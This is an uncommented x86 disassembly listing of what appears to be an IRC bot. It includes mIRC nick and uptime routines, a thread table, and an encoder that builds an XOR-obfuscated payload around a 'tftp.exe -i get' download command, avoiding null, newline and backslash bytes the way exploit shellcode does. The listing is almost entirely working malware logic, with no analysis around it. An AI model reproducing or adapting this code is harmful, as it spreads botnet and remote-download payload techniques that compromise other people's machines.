		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431608
		jz	short loc_40AD97


loc_40AD92:				; CODE XREF: ___:0040AD52j
					; ___:0040AD62j
		mov	esi, offset dword_431604


loc_40AD97:				; CODE XREF: ___:0040AD32j
					; ___:0040AD39j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_4315FC
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ADDB


loc_40ADB5:				; CODE XREF: ___:0040ADD9j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ADB5


loc_40ADDB:				; CODE XREF: ___:0040ADB3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADE1	proc near		; CODE XREF: sub_40AE84+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 26A0D72h
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40AE30
		call	dword_4CB9E0
		test	eax, eax
		mov	eax, offset off_43162C
		jnz	short loc_40AE19
		mov	eax, offset byte_43DB88


loc_40AE19:				; CODE XREF: sub_40ADE1+31j
		push	eax
		push	esi
		push	offset dword_431624
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_40AE50
; ---------------------------------------------------------------------------


loc_40AE30:				; CODE XREF: sub_40ADE1+22j
		call	dword_4CB9E0
		test	eax, eax
		mov	eax, offset off_43162C
		jnz	short loc_40AE44
		mov	eax, offset byte_43DB88


loc_40AE44:				; CODE XREF: sub_40ADE1+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40AE50:				; CODE XREF: sub_40ADE1+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40AE7F
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41CBC0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 18h


loc_40AE7F:				; CODE XREF: sub_40ADE1+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40ADE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE84	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D91C


loc_40AE90:				; CODE XREF: sub_40AE84+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40AEAB
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41CA50
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40AEB5
; ---------------------------------------------------------------------------


loc_40AEAB:				; CODE XREF: sub_40AE84+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40AEB5:				; CODE XREF: sub_40AE84+25j
		test	eax, eax
		jnz	short loc_40AEC7
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D9A8
		jb	short loc_40AE90
		jmp	short loc_40AED5
; ---------------------------------------------------------------------------


loc_40AEC7:				; CODE XREF: sub_40AE84+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D920[eax*4]
		pop	ecx


loc_40AED5:				; CODE XREF: sub_40AE84+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40AEE8
		push	[ebp+arg_0]
		call	sub_40ADE1
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40AEE8:				; CODE XREF: sub_40AE84+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40AE84	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		push	ebx
		push	esi
		lea	eax, [ebp-0B8h]
		push	edi
		push	eax
		mov	edi, offset byte_43DB88
		mov	dword ptr [ebp-0B8h], 94h
		nop
		call	near ptr 26E066Ah
		cmp	dword ptr [ebp-0B4h], 4
		push	0Ah
		pop	ebx
		jnz	short loc_40AF67
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF48
		cmp	dword ptr [ebp-0A8h], 1
		jnz	short loc_40AF38
		mov	edi, offset dword_431620


loc_40AF38:				; CODE XREF: ___:0040AF31j
		cmp	dword ptr [ebp-0A8h], 2
		jnz	short loc_40AFA3
		mov	edi, offset dword_43161C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF48:				; CODE XREF: ___:0040AF28j
		cmp	[ebp-0B0h], ebx
		jnz	short loc_40AF57
		mov	edi, offset dword_431618
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF57:				; CODE XREF: ___:0040AF4Ej
		cmp	dword ptr [ebp-0B0h], 5Ah
		jnz	short loc_40AF9E
		mov	edi, offset dword_431614
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF67:				; CODE XREF: ___:0040AF1Fj
		cmp	dword ptr [ebp-0B4h], 5
		jnz	short loc_40AF9E
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF80
		mov	edi, offset dword_431610
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF80:				; CODE XREF: ___:0040AF77j
		cmp	dword ptr [ebp-0B0h], 1
		jnz	short loc_40AF90
		mov	edi, offset dword_43160C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF90:				; CODE XREF: ___:0040AF87j
		cmp	dword ptr [ebp-0B0h], 2
		mov	edi, offset dword_431684
		jz	short loc_40AFA3


loc_40AF9E:				; CODE XREF: ___:0040AF5Ej
					; ___:0040AF6Ej
		mov	edi, offset dword_431680


loc_40AFA3:				; CODE XREF: ___:0040AF3Fj
					; ___:0040AF46j ...
		lea	eax, [ebp-0A4h]
		push	offset word_4CB88C
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AFC1
		mov	esi, offset dword_43167C
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFC1:				; CODE XREF: ___:0040AFB8j
		lea	eax, [ebp-0A4h]
		push	offset a1	; "1"
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFDF
		mov	esi, offset sub_431678
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFDF:				; CODE XREF: ___:0040AFD6j
		lea	eax, [ebp-0A4h]
		push	offset dword_431674
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFFD
		mov	esi, offset dword_431670
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFFD:				; CODE XREF: ___:0040AFF4j
		lea	eax, [ebp-0A4h]
		push	offset dword_43166C
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B01B
		mov	esi, offset dword_431668
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40B01B:				; CODE XREF: ___:0040B012j
		lea	eax, [ebp-0A4h]
		push	offset dword_431664
		push	eax
		call	sub_41C2E0
		pop	ecx
		mov	esi, offset dword_431660
		test	eax, eax
		pop	ecx
		jnz	short loc_40B03C
		mov	esi, offset off_43165C


loc_40B03C:				; CODE XREF: ___:0040AFBFj
					; ___:0040AFDDj ...
		lea	eax, [ebp-0Ch]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	eax
		or	dword ptr [ebp-8], 0FFFFFFFFh
		or	dword ptr [ebp-0Ch], 0FFFFFFFFh
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	0
		call	sub_41ADD8
		pop	ecx
		push	eax
		call	sub_41CCE3
		mov	eax, [ebp-4]
		add	esp, 14h
		cmp	eax, ebx
		jge	short loc_40B086
		push	eax
		push	offset a0D	; "0%d"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	short loc_40B0AA
; ---------------------------------------------------------------------------


loc_40B086:				; CODE XREF: ___:0040B06Fj
		cmp	eax, 64h
		jge	short loc_40B098
		lea	ecx, [ebp-18h]
		push	ebx
		push	ecx
		push	eax
		call	sub_42635C
		jmp	short loc_40B0A7
; ---------------------------------------------------------------------------


loc_40B098:				; CODE XREF: ___:0040B089j
		push	offset a99	; "99"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360


loc_40B0A7:				; CODE XREF: ___:0040B096j
		add	esp, 0Ch


loc_40B0AA:				; CODE XREF: ___:0040B084j
		nop
		call	near ptr 26A0D72h
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26E0000h
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		lea	eax, [ebp-24h]
		push	edi
		mov	edi, [ebp+8]
		push	eax
		push	offset aSSSS	; "%s|%s|%s|%s|"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 1Ch
		cmp	dword_429098, esi
		jle	short loc_40B115


loc_40B0F0:				; CODE XREF: ___:0040B113j
		call	sub_41C2C2
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40B0F0


loc_40B115:				; CODE XREF: ___:0040B0EEj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B11C	proc near		; CODE XREF: sub_40B13C+Ap
					; sub_40B214+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41B9C0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_40B11C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B13C	proc near		; CODE XREF: sub_40B22B+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B11C
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40B159
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B159:				; CODE XREF: sub_40B13C+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_41B9C0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_41B9C0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_43171C, eax
		lea	eax, [edi+1]
		mov	dword_43173D, eax
		lea	eax, [edi+17h]
		mov	dword_431735, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_4316B8
		push	ebx
		mov	dword_43174B, eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_431741
		push	esi
		call	sub_41CD20
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B13C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B214	proc near		; CODE XREF: sub_40B22B+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40B11C
		push	eax
		call	sub_40B298
		add	esp, 0Ch
		retn
sub_40B214	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B22B	proc near		; CODE XREF: sub_40DCF9+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_40B214
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_40B24B
		cmp	eax, 0FFFFh
		jbe	short loc_40B24F


loc_40B24B:				; CODE XREF: sub_40B22B+17j
		xor	eax, eax
		jmp	short loc_40B294
; ---------------------------------------------------------------------------


loc_40B24F:				; CODE XREF: sub_40B22B+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_40B11C
		add	eax, 101h
		push	eax
		call	sub_41BEB5
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_40B11C
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_40B13C
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B3
		push	esi
		mov	edi, eax
		call	sub_41BA91
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_40B294:				; CODE XREF: sub_40B22B+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_40B22B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B298	proc near		; CODE XREF: sub_40B214+Ep
					; sub_40B2B3+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_40B2A1
		inc	ecx


loc_40B2A1:				; CODE XREF: sub_40B298+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_40B298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2B3	proc near		; CODE XREF: sub_40B22B+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_40B2D2


loc_40B2CF:				; CODE XREF: sub_40B2B3+8j
					; sub_40B2B3+Ej ...
		inc	[ebp+arg_C]


loc_40B2D2:				; CODE XREF: sub_40B2B3+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_40B2FA
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40B2F3
		cmp	al, 0Dh
		jz	short loc_40B2F3
		cmp	al, 5Ch
		jz	short loc_40B2F3
		test	al, al
		jnz	short loc_40B2FA


loc_40B2F3:				; CODE XREF: sub_40B2B3+32j
					; sub_40B2B3+36j ...
		add	[ebp+arg_C], 100h


loc_40B2FA:				; CODE XREF: sub_40B2B3+28j
					; sub_40B2B3+3Ej
		push	[ebp+arg_C]
		call	sub_40B298
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_40B312
		cmp	eax, 0FFFFh
		jbe	short loc_40B319


loc_40B312:				; CODE XREF: sub_40B2B3+56j
		xor	eax, eax
		jmp	loc_40B3B7
; ---------------------------------------------------------------------------


loc_40B319:				; CODE XREF: sub_40B2B3+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4CBB18
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_40B349


loc_40B32D:				; CODE XREF: sub_40B2B3+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_40B340
		cmp	al, 0Ah
		jz	short loc_40B340
		cmp	al, 0Dh
		jz	short loc_40B340
		cmp	al, 5Ch
		jnz	short loc_40B344


loc_40B340:				; CODE XREF: sub_40B2B3+7Fj
					; sub_40B2B3+83j ...
		inc	bl
		xor	edx, edx


loc_40B344:				; CODE XREF: sub_40B2B3+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_40B32D


loc_40B349:				; CODE XREF: sub_40B2B3+78j
		cmp	ecx, esi
		mov	byte_4CBB18, bl
		ja	short loc_40B375
		push	15h
		push	offset loc_4316A0
		push	[ebp+arg_0]
		mov	byte_4316AD, cl
		mov	byte_4316B1, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	15h
		jmp	short loc_40B396
; ---------------------------------------------------------------------------


loc_40B375:				; CODE XREF: sub_40B2B3+9Ej
		push	17h
		push	offset loc_431688
		push	[ebp+arg_0]
		mov	word_431696, cx
		mov	byte_43169B, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	17h


loc_40B396:				; CODE XREF: sub_40B2B3+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_40B3B2
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_40B3A4:				; CODE XREF: sub_40B2B3+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_40B3A4


loc_40B3B2:				; CODE XREF: sub_40B2B3+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_40B3B7:				; CODE XREF: sub_40B2B3+61j
		pop	esi
		leave
		retn
sub_40B2B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B3BA	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E710


loc_40B3C2:				; CODE XREF: sub_40B3BA+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B3D6
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB710
		jl	short loc_40B3C2
		jmp	short loc_40B421
; ---------------------------------------------------------------------------


loc_40B3D6:				; CODE XREF: sub_40B3BA+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E710[esi]
		push	eax
		call	sub_41BFD0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E910[esi], eax
		and	dword_43E914[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E918[esi], 0
		mov	dword_43E91C[esi], eax
		and	byte_43E928[esi], 0
		pop	esi


loc_40B421:				; CODE XREF: sub_40B3BA+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B3BA	endp

; ---------------------------------------------------------------------------
byte_40B425	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2946o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 2E4B8BE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 43177Ch, 0FF0C75FFh, 0D2E80875h
		dd 83FFFFE3h, 0FF3314C4h, 43E710BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C54068FFh, 0E8500042h, 10D9Eh, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 8AE80875h, 83FFFFE3h,	0C68124C4h
		dd 234h, 10FE8147h, 7C004CB7h, 0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B4F5	proc near		; CODE XREF: sub_401ACD+79AAp
					; sub_40B583+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B57D
		cmp	esi, 400h
		jge	short loc_40B57D
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E924[esi]
		lea	edi, dword_43E924[esi]
		nop
		call	near ptr 26A0E14h
		cmp	[edi], ebx
		jz	short loc_40B52D
		push	1
		pop	ebp


loc_40B52D:				; CODE XREF: sub_40B4F5+33j
		mov	[edi], ebx
		lea	edi, dword_43E918[esi]
		mov	dword_43E910[esi], ebx
		mov	dword_43E914[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B54E
		push	eax
		call	sub_419F16
		pop	ecx


loc_40B54E:				; CODE XREF: sub_40B4F5+50j
		mov	[edi], ebx
		lea	edi, dword_43E91C[esi]
		mov	byte ptr dword_43E710[esi], bl
		mov	byte_43E928[esi], bl
		push	dword ptr [edi]
		call	dword_4CBA6C
		lea	esi, dword_43E920[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CBA6C
		mov	[esi], ebx
		pop	edi


loc_40B57D:				; CODE XREF: sub_40B4F5+Dj
					; sub_40B4F5+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B4F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B583	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E710


loc_40B58F:				; CODE XREF: sub_40B583+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B5A0
		push	edi
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5A0
		inc	ebx


loc_40B5A0:				; CODE XREF: sub_40B583+Fj
					; sub_40B583+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB710
		jl	short loc_40B58F
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B583	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5B5	proc near		; CODE XREF: sub_401ACD+41B2p
					; sub_401ACD+4302p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E914


loc_40B5C9:				; CODE XREF: sub_40B5B5+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B5EB
		test	edi, edi
		jle	short loc_40B5DD
		cmp	[esi], edi
		jz	short loc_40B5DD
		cmp	ebx, edi
		jnz	short loc_40B5EB


loc_40B5DD:				; CODE XREF: sub_40B5B5+1Ej
					; sub_40B5B5+22j
		push	ebx
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5EB
		inc	[ebp+var_4]


loc_40B5EB:				; CODE XREF: sub_40B5B5+1Aj
					; sub_40B5B5+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB914
		jl	short loc_40B5C9
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B5B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B602	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+95Ep ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E910


loc_40B609:				; CODE XREF: sub_40B602+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B612
		inc	eax


loc_40B612:				; CODE XREF: sub_40B602+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB910
		jl	short loc_40B609
		retn
sub_40B602	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B621	proc near		; CODE XREF: sub_401ACD+23D9p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E910


loc_40B62B:				; CODE XREF: sub_40B621+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B644
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB910
		jl	short loc_40B62B
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B644:				; CODE XREF: sub_40B621+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B648	proc near		; CODE XREF: sub_401ACD+123Dp
					; sub_401ACD+125Bp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B661
		push	[ebp+arg_1C]
		call	sub_41C159
		pop	ecx


loc_40B661:				; CODE XREF: sub_40B648+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B5B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B68D
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_40B6A7
; ---------------------------------------------------------------------------


loc_40B68D:				; CODE XREF: sub_40B648+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_40B6A7:				; CODE XREF: sub_40B648+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B6C7
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40B6C7:				; CODE XREF: sub_40B648+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		leave
		retn
sub_40B648	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B6D6	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BD0Bp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E924[eax], ecx
		mov	dword_43E910[eax], ecx
		mov	dword_43E914[eax], ecx
		mov	dword_43E918[eax], ecx
		mov	dword_43E91C[eax], ecx
		mov	dword_43E920[eax], ecx
		mov	byte ptr dword_43E710[eax], cl
		mov	byte_43E928[eax], cl
		retn
sub_40B6D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B713	proc near		; CODE XREF: sub_401ACD+7C2Bp
					; sub_40B841+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B71D:				; CODE XREF: sub_40B713+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B77D
		cmp	eax, 1
		jnz	short loc_40B77D
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B77D
		cmp	cl, 2Ah
		jz	short loc_40B764
		cmp	cl, 3Fh
		jz	short loc_40B747
		cmp	cl, 5Bh
		jz	short loc_40B74C
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B747:				; CODE XREF: sub_40B713+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


loc_40B74C:				; CODE XREF: sub_40B713+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
